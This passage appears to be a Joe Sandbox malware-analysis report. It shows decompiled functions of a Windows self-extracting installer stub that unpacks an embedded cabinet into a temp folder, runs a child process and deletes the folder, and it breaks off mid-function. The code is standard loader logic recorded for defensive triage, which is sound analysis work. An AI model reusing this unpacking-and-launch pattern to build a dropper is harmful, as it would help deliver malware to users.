Function 00A44FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00A44FE0(void* __edi, void* __eflags) {
				void* __ebx;
				void* _t8;
				struct HWND__* _t9;
				int _t10;
				void* _t12;
				struct HWND__* _t24;
				struct HWND__* _t27;
				intOrPtr _t29;
				void* _t33;
				int _t34;
				CHAR* _t36;
				int _t37;
				intOrPtr _t47;

				_t33 = __edi;
				_t36 = "CABINET";
				 *0xa49144 = E00A4468F(_t36, 0, 0);
				_t8 = LockResource(LoadResource(0, FindResourceA(0, _t36, 0xa)));
				 *0xa49140 = _t8;
				if(_t8 == 0) {
					return _t8;
				}
				_t9 =  *0xa48584; // 0x0
				if(_t9 != 0) {
					ShowWindow(GetDlgItem(_t9, 0x842), 0);
					ShowWindow(GetDlgItem( *0xa48584, 0x841), 5); // executed
				}
				_t10 = E00A44EFD(0, 0); // executed
				if(_t10 != 0) {
					__imp__#20(E00A44CA0, E00A44CC0, E00A44980, E00A44A50, E00A44AD0, E00A44B60, E00A44BC0, 1, 0xa49148, _t33);
					_t34 = _t10;
					if(_t34 == 0) {
						L8:
						_t29 =  *0xa49148; // 0x0
						_t24 =  *0xa48584; // 0x0
						E00A444B9(_t24, _t29 + 0x514, 0, 0, 0x10, 0);
						_t37 = 0;
						L9:
						goto L10;
					}
					__imp__#22(_t34, "*MEMCAB", 0xa41140, 0, E00A44CD0, 0, 0xa49140); // executed
					_t37 = _t10;
					if(_t37 == 0) {
						goto L9;
					}
					__imp__#23(_t34); // executed
					if(_t10 != 0) {
						goto L9;
					}
					goto L8;
				} else {
					_t27 =  *0xa48584; // 0x0
					E00A444B9(_t27, 0x4ba, 0, 0, 0x10, 0);
					_t37 = 0;
					L10:
					_t12 =  *0xa49140; // 0x0
					if(_t12 != 0) {
						FreeResource(_t12);
						 *0xa49140 = 0;
					}
					if(_t37 == 0) {
						_t47 =  *0xa491d8; // 0x0
						if(_t47 == 0) {
							E00A444B9(0, 0x4f8, 0, 0, 0x10, 0);
						}
					}
					if(( *0xa48a38 & 0x00000001) == 0 && ( *0xa49a34 & 0x00000001) == 0) {
						SendMessageA( *0xa48584, 0xfa1, _t37, 0);
					}
					return _t37;
				}
			}

0x00a44fe0
0x00a44fe6
0x00a44ff9
0x00a4500d
0x00a45013
0x00a4501a
0x00a45163
0x00a45163
0x00a45020
0x00a45027
0x00a45037
0x00a45051
0x00a45051
0x00a45057
0x00a4505e
0x00a450a7
0x00a450ad
0x00a450b4
0x00a450e8
0x00a450e8
0x00a450ee
0x00a450ff
0x00a45104
0x00a45106
0x00000000
0x00a45106
0x00a450cd
0x00a450d3
0x00a450da
0x00000000
0x00000000
0x00a450dd
0x00a450e6
0x00000000
0x00000000
0x00000000
0x00a45060
0x00a45060
0x00a45070
0x00a45075
0x00a45107
0x00a45107
0x00a4510e
0x00a45111
0x00a45117
0x00a45117
0x00a4511f
0x00a45121
0x00a45127
0x00a45135
0x00a45135
0x00a45127
0x00a45141
0x00a45159
0x00a45159
0x00000000
0x00a4515f

APIs

Part of subcall function 00A4468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A446A0
Part of subcall function 00A4468F: SizeofResource.KERNEL32(00000000,00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446A9
Part of subcall function 00A4468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A446C3
Part of subcall function 00A4468F: LoadResource.KERNEL32(00000000,00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446CC
Part of subcall function 00A4468F: LockResource.KERNEL32(00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446D3
Part of subcall function 00A4468F: memcpy_s.MSVCRT ref: 00A446E5
Part of subcall function 00A4468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 00A44FFE
LoadResource.KERNEL32(00000000,00000000), ref: 00A45006
LockResource.KERNEL32(00000000), ref: 00A4500D
GetDlgItem.USER32(00000000,00000842), ref: 00A45030
ShowWindow.USER32(00000000), ref: 00A45037
GetDlgItem.USER32(00000841,00000005), ref: 00A4504A
ShowWindow.USER32(00000000), ref: 00A45051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 00A45111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 00A45159

Strings

CABINET, xrefs: 00A44FE6, 00A44FF7
*MEMCAB, xrefs: 00A450C7

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: e95cea3d6dfbc7bedf85ce9cb1817e736b51bf36ed696bf718cfb607c8651fdf
Instruction ID: a329714e4c8b016239917039efb7f0df3ce371d1643d3fe9bc3309e7faa135c4
Opcode Fuzzy Hash: e95cea3d6dfbc7bedf85ce9cb1817e736b51bf36ed696bf718cfb607c8651fdf
Instruction Fuzzy Hash: 0A313DBCB807017FE720DBF9BD89F67365CB7CA745F140624F901A21A2DBB68C128651

Uniqueness

Uniqueness Score: -1.00%

Function 00A42F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00A42F1D(void* __ecx, int __edx) {
				signed int _v8;
				char _v272;
				_Unknown_base(*)()* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t9;
				void* _t11;
				struct HWND__* _t12;
				void* _t14;
				int _t21;
				signed int _t22;
				signed int _t25;
				intOrPtr* _t26;
				signed int _t27;
				void* _t30;
				_Unknown_base(*)()* _t31;
				void* _t34;
				struct HINSTANCE__* _t36;
				intOrPtr _t41;
				intOrPtr* _t44;
				signed int _t46;
				int _t47;
				void* _t58;
				void* _t59;

				_t43 = __edx;
				_t9 =  *0xa48004; // 0x173b1603
				_v8 = _t9 ^ _t46;
				if( *0xa48a38 != 0) {
					L5:
					_t11 = E00A45164(_t52);
					_t53 = _t11;
					if(_t11 == 0) {
						L16:
						_t12 = 0;
						L17:
						return E00A46CE0(_t12, _t36, _v8 ^ _t46, _t43, _t44, _t45);
					}
					_t14 = E00A455A0(_t53); // executed
					if(_t14 == 0) {
						goto L16;
					} else {
						_t45 = 0x105;
						GetSystemDirectoryA( &_v272, 0x105);
						_t43 = 0x105;
						_t40 =  &_v272;
						E00A4658A( &_v272, 0x105, "advapi32.dll");
						_t36 = LoadLibraryA( &_v272);
						_t44 = 0;
						if(_t36 != 0) {
							_t31 = GetProcAddress(_t36, "DecryptFileA");
							_v276 = _t31;
							if(_t31 != 0) {
								_t45 = _t47;
								_t40 = _t31;
								 *0xa4a288("C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\", 0); // executed
								_v276();
								if(_t47 != _t47) {
									_t40 = 4;
									asm("int 0x29");
								}
							}
						}
						FreeLibrary(_t36);
						_t58 =  *0xa48a24 - _t44; // 0x0
						if(_t58 != 0) {
							L14:
							_t21 = SetCurrentDirectoryA("C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\"); // executed
							if(_t21 != 0) {
								__eflags =  *0xa48a2c - _t44; // 0x0
								if(__eflags != 0) {
									L20:
									__eflags =  *0xa48d48 & 0x000000c0;
									if(( *0xa48d48 & 0x000000c0) == 0) {
										_t41 =  *0xa49a40; // 0x3, executed
										_t26 = E00A4256D(_t41); // executed
										_t44 = _t26;
									}
									_t22 =  *0xa48a24; // 0x0
									 *0xa49a44 = _t44;
									__eflags = _t22;
									if(_t22 != 0) {
										L26:
										__eflags =  *0xa48a38;
										if( *0xa48a38 == 0) {
											__eflags = _t22;
											if(__eflags == 0) {
												E00A44169(__eflags);
											}
										}
										_t12 = 1;
										goto L17;
									} else {
										__eflags =  *0xa49a30 - _t22; // 0x0
										if(__eflags != 0) {
											goto L26;
										}
										_t25 = E00A43BA2(); // executed
										__eflags = _t25;
										if(_t25 == 0) {
											goto L16;
										}
										_t22 =  *0xa48a24; // 0x0
										goto L26;
									}
								}
								_t27 = E00A43B26(_t40, _t44);
								__eflags = _t27;
								if(_t27 == 0) {
									goto L16;
								}
								goto L20;
							}
							_t43 = 0x4bc;
							E00A444B9(0, 0x4bc, _t44, _t44, 0x10, _t44);
							 *0xa49124 = E00A46285();
							goto L16;
						}
						_t59 =  *0xa49a30 - _t44; // 0x0
						if(_t59 != 0) {
							goto L14;
						}
						_t30 = E00A4621E(); // executed
						if(_t30 == 0) {
							goto L16;
						}
						goto L14;
					}
				}
				_t49 =  *0xa48a24;
				if( *0xa48a24 != 0) {
					L4:
					_t34 = E00A43A3F(_t51);
					_t52 = _t34;
					if(_t34 == 0) {
						goto L16;
					}
					goto L5;
				}
				if(E00A451E5(_t49) == 0) {
					goto L16;
				}
				_t51 =  *0xa48a38;
				if( *0xa48a38 != 0) {
					goto L5;
				}
				goto L4;
			}

0x00a42f1d
0x00a42f28
0x00a42f2f
0x00a42f3d
0x00a42f6c
0x00a42f6c
0x00a42f71
0x00a42f73
0x00a43041
0x00a43041
0x00a43043
0x00a43053
0x00a43053
0x00a42f79
0x00a42f80
0x00000000
0x00a42f86
0x00a42f86
0x00a42f93
0x00a42f9e
0x00a42fa0
0x00a42fa6
0x00a42fb8
0x00a42fba
0x00a42fbe
0x00a42fc6
0x00a42fcc
0x00a42fd4
0x00a42fd6
0x00a42fd8
0x00a42fe0
0x00a42fe6
0x00a42fee
0x00a42ff0
0x00a42ff5
0x00a42ff5
0x00a42fee
0x00a42fd4
0x00a42ff8
0x00a42ffe
0x00a43004
0x00a43017
0x00a4301c
0x00a43024
0x00a43054
0x00a4305a
0x00a43065
0x00a43065
0x00a4306c
0x00a4306e
0x00a43075
0x00a4307a
0x00a4307a
0x00a4307c
0x00a43081
0x00a43087
0x00a43089
0x00a430a1
0x00a430a1
0x00a430a9
0x00a430ab
0x00a430ad
0x00a430af
0x00a430af
0x00a430ad
0x00a430b6
0x00000000
0x00a4308b
0x00a4308b
0x00a43091
0x00000000
0x00000000
0x00a43093
0x00a43098
0x00a4309a
0x00000000
0x00000000
0x00a4309c
0x00000000
0x00a4309c
0x00a43089
0x00a4305c
0x00a43061
0x00a43063
0x00000000
0x00000000
0x00000000
0x00a43063
0x00a4302b
0x00a43032
0x00a4303c
0x00000000
0x00a4303c
0x00a43006
0x00a4300c
0x00000000
0x00000000
0x00a4300e
0x00a43015
0x00000000
0x00000000
0x00000000
0x00a43015
0x00a42f80
0x00a42f3f
0x00a42f46
0x00a42f5f
0x00a42f5f
0x00a42f64
0x00a42f66
0x00000000
0x00000000
0x00000000
0x00a42f66
0x00a42f4f
0x00000000
0x00000000
0x00a42f55
0x00a42f5d
0x00000000
0x00000000
0x00000000

APIs

GetSystemDirectoryA.KERNEL32 ref: 00A42F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 00A42FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 00A42FC6
DecryptFileA.ADVAPI32 ref: 00A42FE6
FreeLibrary.KERNEL32(00000000), ref: 00A42FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 00A4301C

Part of subcall function 00A451E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00A42F4D,?,00000002,00000000), ref: 00A45201

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A42FDB, 00A43017
advapi32.dll, xrefs: 00A42F99
DecryptFileA, xrefs: 00A42FC0

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-58291647
Opcode ID: 75b99f046754c64bdcbbe05bb4befecc7bfcac266eb742d2e12816c2a54fa077
Instruction ID: 1ebaf93157e49c16aafbaa4a045952da91fb34928dfddad588fe0c53567e3652
Opcode Fuzzy Hash: 75b99f046754c64bdcbbe05bb4befecc7bfcac266eb742d2e12816c2a54fa077
Instruction Fuzzy Hash: DC41D83EA002159BDF30EBB5AD4576B33A8DBE6790F100275E901C2191EFB5CE86CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A45467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00A45467(CHAR* __ecx, void* __edx, char* _a4) {
				signed int _v8;
				char _v268;
				struct _SYSTEM_INFO _v304;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t10;
				void* _t13;
				intOrPtr _t14;
				void* _t16;
				void* _t20;
				signed int _t26;
				void* _t28;
				void* _t29;
				CHAR* _t48;
				signed int _t49;
				intOrPtr _t61;

				_t10 =  *0xa48004; // 0x173b1603
				_v8 = _t10 ^ _t49;
				_push(__ecx);
				if(__edx == 0) {
					_t48 = 0xa491e4;
					_t42 = 0x104;
					E00A41680(0xa491e4, 0x104);
					L14:
					_t13 = E00A458C8(_t48); // executed
					if(_t13 != 0) {
						L17:
						_t42 = _a4;
						if(_a4 == 0) {
							L23:
							 *0xa49124 = 0;
							_t14 = 1;
							L24:
							return E00A46CE0(_t14, 0, _v8 ^ _t49, _t42, 1, _t48);
						}
						_t16 = E00A4597D(_t48, _t42, 1, 0); // executed
						if(_t16 != 0) {
							goto L23;
						}
						_t61 =  *0xa48a20; // 0x0
						if(_t61 != 0) {
							 *0xa48a20 = 0;
							RemoveDirectoryA(_t48);
						}
						L22:
						_t14 = 0;
						goto L24;
					}
					if(CreateDirectoryA(_t48, 0) == 0) {
						 *0xa49124 = E00A46285();
						goto L22;
					}
					 *0xa48a20 = 1;
					goto L17;
				}
				_t42 =  &_v268;
				_t20 = E00A453A1(__ecx,  &_v268); // executed
				if(_t20 == 0) {
					goto L22;
				}
				_push(__ecx);
				_t48 = 0xa491e4;
				E00A41781(0xa491e4, 0x104, __ecx,  &_v268);
				if(( *0xa49a34 & 0x00000020) == 0) {
					L12:
					_t42 = 0x104;
					E00A4658A(_t48, 0x104, 0xa41140);
					goto L14;
				}
				GetSystemInfo( &_v304);
				_t26 = _v304.dwOemId & 0x0000ffff;
				if(_t26 == 0) {
					_push("i386");
					L11:
					E00A4658A(_t48, 0x104);
					goto L12;
				}
				_t28 = _t26 - 1;
				if(_t28 == 0) {
					_push("mips");
					goto L11;
				}
				_t29 = _t28 - 1;
				if(_t29 == 0) {
					_push("alpha");
					goto L11;
				}
				if(_t29 != 1) {
					goto L12;
				}
				_push("ppc");
				goto L11;
			}

0x00a45472
0x00a45479
0x00a45481
0x00a45484
0x00a4551c
0x00a45521
0x00a45528
0x00a4552d
0x00a4552f
0x00a45539
0x00a4554d
0x00a4554d
0x00a45552
0x00a45585
0x00a45585
0x00a4558b
0x00a4558d
0x00a4559d
0x00a4559d
0x00a45557
0x00a4555e
0x00000000
0x00000000
0x00a45560
0x00a45566
0x00a45569
0x00a4556f
0x00a4556f
0x00a45581
0x00a45581
0x00000000
0x00a45581
0x00a45545
0x00a4557c
0x00000000
0x00a4557c
0x00a45547
0x00000000
0x00a45547
0x00a4548a
0x00a45490
0x00a45497
0x00000000
0x00000000
0x00a4549d
0x00a454ab
0x00a454b4
0x00a454c0
0x00a4550c
0x00a45511
0x00a45515
0x00000000
0x00a45515
0x00a454c9
0x00a454d6
0x00a454d8
0x00a454fe
0x00a45503
0x00a45507
0x00000000
0x00a45507
0x00a454da
0x00a454dd
0x00a454f7
0x00000000
0x00a454f7
0x00a454df
0x00a454e2
0x00a454f0
0x00000000
0x00a454f0
0x00a454e7
0x00000000
0x00000000
0x00a454e9
0x00000000

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A454C9
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A4553D
RemoveDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A4556F

Part of subcall function 00A453A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A453FB
Part of subcall function 00A453A1: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A45402
Part of subcall function 00A453A1: GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A4541F
Part of subcall function 00A453A1: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A4542B
Part of subcall function 00A453A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A45434

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A4547D, 00A45481, 00A454AB, 00A4551C, 00A4553C, 00A45568
i386, xrefs: 00A454FE
mips, xrefs: 00A454F7
ppc, xrefs: 00A454E9
alpha, xrefs: 00A454F0

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-186922987
Opcode ID: 5a147d5240c76f8bd5f771b87e8610db4686af84957e8b50902e0adc2b61ebc6
Instruction ID: 6e7847f39e6ee8b8cad8d4a36ff768026f157428d17f347c5e6ba8016a7bfb96
Opcode Fuzzy Hash: 5a147d5240c76f8bd5f771b87e8610db4686af84957e8b50902e0adc2b61ebc6
Instruction Fuzzy Hash: 8E314D7DF00A046BCB14EFB9AD4457F77ABABC2740F14012AA402D6642DF71CE528693

Uniqueness

Uniqueness Score: -1.00%

Function 00A42390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00A42390(CHAR* __ecx) {
				signed int _v8;
				char _v276;
				char _v280;
				char _v284;
				struct _WIN32_FIND_DATAA _v596;
				struct _WIN32_FIND_DATAA _v604;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				int _t36;
				void* _t46;
				void* _t62;
				void* _t63;
				CHAR* _t65;
				void* _t66;
				signed int _t67;
				signed int _t69;

				_t69 = (_t67 & 0xfffffff8) - 0x254;
				_t21 =  *0xa48004; // 0x173b1603
				_t22 = _t21 ^ _t69;
				_v8 = _t21 ^ _t69;
				_t65 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx)) == 0) {
					L10:
					_pop(_t62);
					_pop(_t66);
					_pop(_t46);
					return E00A46CE0(_t22, _t46, _v8 ^ _t69, _t58, _t62, _t66);
				} else {
					E00A41680( &_v276, 0x104, __ecx);
					_t58 = 0x104;
					E00A416B3( &_v280, 0x104, "*");
					_t22 = FindFirstFileA( &_v284,  &_v604); // executed
					_t63 = _t22;
					if(_t63 == 0xffffffff) {
						goto L10;
					} else {
						goto L3;
					}
					do {
						L3:
						_t58 = 0x104;
						E00A41680( &_v276, 0x104, _t65);
						if((_v604.ftCreationTime & 0x00000010) == 0) {
							_t58 = 0x104;
							E00A416B3( &_v276, 0x104,  &(_v596.dwReserved1));
							SetFileAttributesA( &_v280, 0x80);
							DeleteFileA( &_v280);
						} else {
							if(lstrcmpA( &(_v596.dwReserved1), ".") != 0 && lstrcmpA( &(_v596.cFileName), "..") != 0) {
								E00A416B3( &_v276, 0x104,  &(_v596.cFileName));
								_t58 = 0x104;
								E00A4658A( &_v280, 0x104, 0xa41140);
								E00A42390( &_v284);
							}
						}
						_t36 = FindNextFileA(_t63,  &_v596); // executed
					} while (_t36 != 0);
					FindClose(_t63); // executed
					_t22 = RemoveDirectoryA(_t65); // executed
					goto L10;
				}
			}

0x00a42398
0x00a4239e
0x00a423a3
0x00a423a5
0x00a423ae
0x00a423b3
0x00a424cb
0x00a424d2
0x00a424d3
0x00a424d4
0x00a424df
0x00a423c2
0x00a423d1
0x00a423db
0x00a423e4
0x00a423f6
0x00a423fc
0x00a42401
0x00000000
0x00000000
0x00000000
0x00000000
0x00a42407
0x00a42407
0x00a42408
0x00a42411
0x00a4241f
0x00a4247a
0x00a42483
0x00a42495
0x00a424a3
0x00a42421
0x00a4242f
0x00a42453
0x00a4245d
0x00a42466
0x00a42472
0x00a42472
0x00a4242f
0x00a424af
0x00a424b5
0x00a424be
0x00a424c5
0x00000000
0x00a424c5

APIs

FindFirstFileA.KERNELBASE(?,00A48A3A,00A411F4,00A48A3A,00000000,?,?), ref: 00A423F6
lstrcmpA.KERNEL32(?,00A411F8), ref: 00A42427
lstrcmpA.KERNEL32(?,00A411FC), ref: 00A4243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 00A42495
DeleteFileA.KERNEL32(?), ref: 00A424A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 00A424AF
FindClose.KERNELBASE(00000000), ref: 00A424BE
RemoveDirectoryA.KERNELBASE(00A48A3A), ref: 00A424C5

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: f462d6ef5236b1f824578e65bb8075355e472bc44e1e20c364b4229bc081c22e
Instruction ID: 551320749d09c588694c99dc19d245e6f1bea2b4d3f1ce39d98cb74f3cd50efd
Opcode Fuzzy Hash: f462d6ef5236b1f824578e65bb8075355e472bc44e1e20c364b4229bc081c22e
Instruction Fuzzy Hash: 3731B33D204740ABC320EBE8DD89BEBB3ACEFC5305F44492DB55586290EB74994DC752

Uniqueness

Uniqueness Score: -1.00%

Function 00A43FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00A43FEF(CHAR* __ecx, struct _STARTUPINFOA* __edx) {
				signed int _v8;
				char _v524;
				long _v528;
				struct _PROCESS_INFORMATION _v544;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t20;
				void* _t22;
				int _t25;
				intOrPtr* _t39;
				signed int _t44;
				void* _t49;
				signed int _t50;
				intOrPtr _t53;

				_t45 = __edx;
				_t20 =  *0xa48004; // 0x173b1603
				_v8 = _t20 ^ _t50;
				_t39 = __ecx;
				_t49 = 1;
				_t22 = 0;
				if(__ecx == 0) {
					L13:
					return E00A46CE0(_t22, _t39, _v8 ^ _t50, _t45, 0, _t49);
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t25 = CreateProcessA(0, __ecx, 0, 0, 0, 0x20, 0, 0, __edx,  &_v544); // executed
				if(_t25 == 0) {
					 *0xa49124 = E00A46285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v524, 0x200, 0); // executed
					_t45 = 0x4c4;
					E00A444B9(0, 0x4c4, _t39,  &_v524, 0x10, 0); // executed
					L11:
					_t49 = 0;
					L12:
					_t22 = _t49;
					goto L13;
				}
				WaitForSingleObject(_v544.hProcess, 0xffffffff);
				_t34 = GetExitCodeProcess(_v544.hProcess,  &_v528); // executed
				_t44 = _v528;
				_t53 =  *0xa48a28; // 0x0
				if(_t53 == 0) {
					_t34 =  *0xa49a2c; // 0x0
					if((_t34 & 0x00000001) != 0 && (_t34 & 0x00000002) == 0) {
						_t34 = _t44 & 0xff000000;
						if((_t44 & 0xff000000) == 0xaa000000) {
							 *0xa49a2c = _t44;
						}
					}
				}
				E00A4411B(_t34, _t44);
				CloseHandle(_v544.hThread);
				CloseHandle(_v544);
				if(( *0xa49a34 & 0x00000400) == 0 || _v528 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x00a43fef
0x00a43ffa
0x00a44001
0x00a44008
0x00a4400a
0x00a4400b
0x00a44010
0x00a4410a
0x00a4411a
0x00a4411a
0x00a4401c
0x00a4401d
0x00a4401e
0x00a4401f
0x00a44033
0x00a4403b
0x00a440ca
0x00a440e9
0x00a440f8
0x00a44101
0x00a44106
0x00a44106
0x00a44108
0x00a44108
0x00000000
0x00a44108
0x00a44049
0x00a4405c
0x00a44062
0x00a44068
0x00a4406e
0x00a44070
0x00a44077
0x00a4407f
0x00a44089
0x00a4408b
0x00a4408b
0x00a44089
0x00a44077
0x00a44091
0x00a4409c
0x00a440a8
0x00a440b8
0x00000000
0x00a440c2
0x00000000
0x00a440c2

APIs

CreateProcessA.KERNELBASE ref: 00A44033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A44049
GetExitCodeProcess.KERNELBASE ref: 00A4405C
CloseHandle.KERNEL32(?), ref: 00A4409C
CloseHandle.KERNEL32(?), ref: 00A440A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00A440DC
FormatMessageA.KERNELBASE(00001000,00000000,00000000), ref: 00A440E9

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: 3071cdfcc8b0afd7b35b35f2ebc27fb720f829e795462021c54409f521230b95
Instruction ID: 4c1031b9637a94940b3e37a74187e2c95eb4e102514ca58a340e3639a635da5e
Opcode Fuzzy Hash: 3071cdfcc8b0afd7b35b35f2ebc27fb720f829e795462021c54409f521230b95
Instruction Fuzzy Hash: 5131A23D680218ABEB20DBA9DC49FAB777CEBDA741F1002A9F505D2161C7354D86CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00A42BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00A42BFB(struct HINSTANCE__* _a4, intOrPtr _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t4;
				void* _t6;
				intOrPtr _t7;
